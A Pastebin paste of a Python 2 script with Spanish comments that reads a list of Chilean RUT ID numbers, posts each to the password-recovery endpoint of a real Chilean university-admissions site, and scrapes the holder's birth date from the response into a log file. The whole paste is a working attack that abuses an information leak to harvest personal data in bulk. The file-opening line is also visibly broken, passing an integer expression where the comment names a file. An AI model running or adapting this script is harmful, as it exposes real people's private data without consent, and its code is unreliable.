Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #-*- coding:utf-8 -*-
- import urllib2
- import urllib
- rut = open(18439934-2) # El archivo Rut.txt debe contener el rut de la forma 11111111-1
- log = open('log.txt', 'w') # Aqui se guardaran los resultados con la estructura [rut fecha]
- rut_leido = rut.readlines()
- url = "http://recuperaclave.demre.cl/recuperaclave/RecuperaClave.action" # La URL en cuestion
- def nacimiento():
- for x in range(0, len(rut_leido)): # Para cada ususario hacemos el bucle
- usuario = 'c' + rut_leido[x] # la pagina espera el rut con un 'c' al principio
- datos = {"usuarioIdVO": usuario} # Los parametros a postear
- parametros = urllib.urlencode(datos)
- pagina = urllib2.urlopen(url, parametros)
- codigo = pagina.readlines()
- usr = usuario[1:-1] # Borramos el 'c' del principio y el \n' del final
- if len(codigo) == 154: # si la pagina resultane es de 154 lineas asepto el rut
- log.write(usr + ' ' + codigo[101][17:25] + '\n')
- print usr, codigo[101][17:25]
- log.close() # cerramos los archivos
- rut.close() # cerramos los archivos
- nacimiento()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement